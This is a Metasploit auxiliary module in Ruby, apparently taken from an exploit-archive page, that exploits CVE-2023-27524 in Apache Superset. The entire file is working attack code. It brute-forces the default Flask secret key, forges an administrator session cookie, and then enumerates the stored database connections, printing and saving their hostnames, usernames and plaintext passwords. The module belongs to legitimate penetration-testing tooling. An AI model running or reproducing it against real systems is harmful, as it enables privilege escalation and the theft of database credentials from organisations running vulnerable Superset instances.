Share
## https://sploitus.com/exploit?id=PACKETSTORM:180678
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Superset Signed Cookie Priv Esc',  
'Description' => %q{  
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.  
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that  
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database  
credentials saved in Apache Superset.  
},  
'Author' => [  
'h00die', # MSF module  
'paradoxis', # original flask-unsign tool  
'Spencer McIntyre', # MSF flask-unsign library  
'Naveen Sunkavally' # horizon3.ai writeup and cve discovery  
],  
'References' => [  
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],  
['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'],  
['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'],  
['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'],  
['EDB', '51447'],  
['CVE', '2023-27524' ],  
],  
'License' => MSF_LICENSE,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS],  
'RelatedModules' => ['exploit/linux/http/apache_superset_cookie_sig_rce']  
},  
'DisclosureDate' => '2023-04-25'  
)  
)  
register_options(  
[  
Opt::RPORT(8088),  
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),  
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),  
OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),  
OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']),  
OptPath.new('SECRET_KEYS_FILE', [  
false, 'File containing secret keys to try, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')  
]),  
]  
)  
end  
  
def check  
res = send_request_cgi!({  
'uri' => normalize_uri(target_uri.path, 'login')  
})  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200  
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'  
unless res.body =~ /"version_string": "([\d.]+)"/  
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")  
end  
  
version = Rex::Version.new(Regexp.last_match(1))  
if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')  
Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable")  
else  
Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")  
end  
end  
  
def get_secret_key(cookie)  
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|  
secret = secret.strip  
vprint_status("#{peer} - Checking secret key: #{secret}")  
  
unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))  
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)  
vprint_bad("#{peer} - Incorrect secret key: #{secret}")  
next  
end  
  
print_good("#{peer} - Found secret key: #{secret}")  
return secret  
end  
nil  
end  
  
def validate_cookie(decoded_cookie, secret_key)  
print_status("#{peer} - Attempting to resign with key: #{secret_key}")  
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key)  
  
print_status("#{peer} - New signed cookie: #{encoded_cookie}")  
cookie_jar.clear  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),  
'cookie' => "session=#{encoded_cookie};",  
'keep_cookies' => true  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
if res.code == 401  
print_bad("#{peer} - Cookie not accepted")  
return nil  
end  
data = res.get_json_document  
print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")  
return encoded_cookie  
end  
  
def run  
res = send_request_cgi!({  
'uri' => normalize_uri(target_uri.path, 'login'),  
'keep_cookies' => true  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200  
  
fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/  
  
csrf_token = Regexp.last_match(1)  
vprint_status("#{peer} - CSRF Token: #{csrf_token}")  
cookie = res.get_cookies.to_s  
print_status("#{peer} - Initial Cookie: #{cookie}")  
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie.split('=')[1].gsub(';', ''))  
print_status("#{peer} - Decoded Cookie: #{decoded_cookie}")  
print_status("#{peer} - Attempting login")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'login', '/'),  
'keep_cookies' => true,  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'csrf_token' => csrf_token  
}  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'  
cookie = res.get_cookies.to_s  
print_good("#{peer} - Logged in Cookie: #{cookie}")  
  
# get the cookie value and strip off anything else  
cookie = cookie.split('=')[1].gsub(';', '')  
  
secret_key = get_secret_key(cookie)  
fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil?  
  
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)  
decoded_cookie['user_id'] = datastore['ADMIN_ID']  
print_status("#{peer} - Modified cookie: #{decoded_cookie}")  
admin_cookie = validate_cookie(decoded_cookie, secret_key)  
  
fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if admin_cookie.nil?  
(1..101).each do |i|  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', i),  
'cookie' => "session=#{admin_cookie};",  
'keep_cookies' => true  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
if res.code == 401 || res.code == 404  
print_status('Done enumerating databases')  
break  
end  
result_json = res.get_json_document  
db_display_name = result_json['result']['database_name']  
db_name = result_json['result']['parameters']['database']  
db_type = result_json['result']['backend']  
db_host = result_json['result']['parameters']['host']  
db_port = result_json['result']['parameters']['port']  
db_pass = result_json['result']['parameters']['password']  
db_user = result_json['result']['parameters']['username']  
if framework.db.active  
create_credential_and_login({  
address: db_host,  
port: db_port,  
protocol: 'tcp',  
workspace_id: myworkspace_id,  
origin_type: :service,  
service_name: db_type,  
username: db_user,  
private_type: :password,  
private_data: db_pass,  
module_fullname: fullname,  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
end  
print_good("Found #{db_display_name}: #{db_type}://#{db_user}:#{db_pass}@#{db_host}:#{db_port}/#{db_name}")  
end  
end  
end